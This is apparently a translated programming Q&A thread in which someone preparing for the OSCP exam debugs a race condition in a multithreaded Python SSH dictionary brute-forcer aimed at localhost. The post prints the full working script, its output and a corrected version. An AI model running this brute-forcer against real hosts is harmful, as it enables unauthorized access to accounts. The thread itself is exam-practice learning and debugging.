所以我有一个用于尝试在本地计算机上强行强制端口22(准备进行OSCP考试)的项目的多线程Python 3.7
脚本。
脚本使用字典攻击对端口进行暴力破解。
我遇到的问题是,脚本在成功或失败时打印出每次尝试。最后,它应该停止并且最后一个值或一组值是添加到found
列表中的那些值。
实际发生的是先打印正确的密码,然后再打印另一个失败的密码。哪一个取决于正在运行的线程数。
我认为这与我处理线程的方式有关,但我无法弄清楚我在做什么错。
import paramiko
import threading
from queue import Queue
TARGET_IP = 'localhost'
USERNAME = 'targetuser'
WORDLIST = 'test2.txt'
MAX_THREADS = 20
found = []
q = Queue()
def ssh_connect(target_ip, username, password):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)
try:
ssh.connect(target_ip, username=username, password=password)
found.append(password)
q.put(password)
except paramiko.ssh_exception.AuthenticationException:
print("[*] Failed: ", password)
return False
finally:
ssh.close()
return True
def main():
with open(WORDLIST) as input_handle:
threads = []
thread_count = 0
for line in input_handle:
try:
password = line.rstrip()
t = threading.Thread(target=ssh_connect, args=[TARGET_IP, USERNAME, password])
threads.append(t)
t.start()
thread_count += 1
if not q.empty():
break
if thread_count >= MAX_THREADS:
for t in threads:
t.join()
thread_count = 0
except KeyboardInterrupt:
break
if not q.empty() and len(found) > 0:
for c in found:
print("[!] Found: ", c)
else:
print("[*] Pass not found")
if __name__ == '__main__':
main()
输出:
python3 ssh_brute.py
[*] Failed: josa10
[*] Failed: josa0823
[*] Failed: josa123
[*] Failed: josa070601
[*] Failed: josa004
[*] Failed: josa13
[*] Failed: josa0119
[*] Failed: josa-jones
[*] Failed: josa0131
[*] Failed: josa12
[*] Failed: josa08
[*] Failed: josa16
[*] Failed: josa122387
[*] Failed: josa04
[*] Failed: josa-young
[*] Failed: josa02
[*] Failed: josa-a
[*] Failed: josa143
[*] Failed: josa15
[!] Found: super_secret_password
[*] Failed: josa1856
根据以下答案更正的代码:
def main():
with open(WORDLIST) as input_handle:
threads = []
thread_count = 0
for line in input_handle:
try:
password = line.rstrip()
t = threading.Thread(target=ssh_connect, args=[TARGET_IP, USERNAME, password])
threads.append(t)
t.start()
thread_count += 1
if not q.empty():
break
if thread_count >= MAX_THREADS:
for t in threads:
t.join()
threads = []
thread_count = 0
except KeyboardInterrupt:
break
for t in threads:
t.join()
# if not q.empty() and len(found) > 0:
if len(found) > 0:
for c in found:
print("[!] Found: ", c)
else:
print("[*] Pass not found")
答案 0 :(得分:2)
这里有几个问题:
1)代码在启动线程后立即检查q
是否为空。问题是,在进行检查之前,没有办法知道线程何时运行以及是否会在q
中放入匹配的密码-实际上,很有可能不会。< / p>
2)MAX_THREADS循环实际上应该清空数组。 threads = []
3)添加另一个循环以在for循环之外加入正在运行的线程。这样可以确保所有线程在代码检查结果之前完成。 (编辑:)这将在打印成功消息之前打印所有失败消息。
请记住,(在大多数语言中)启动线程是使函数与当前正在启动线程的函数同时运行的一种方式。因此,计时会变得非常时髦。您所看到的通常被视为“竞赛条件”。大多数您可以修复。其他...嗯...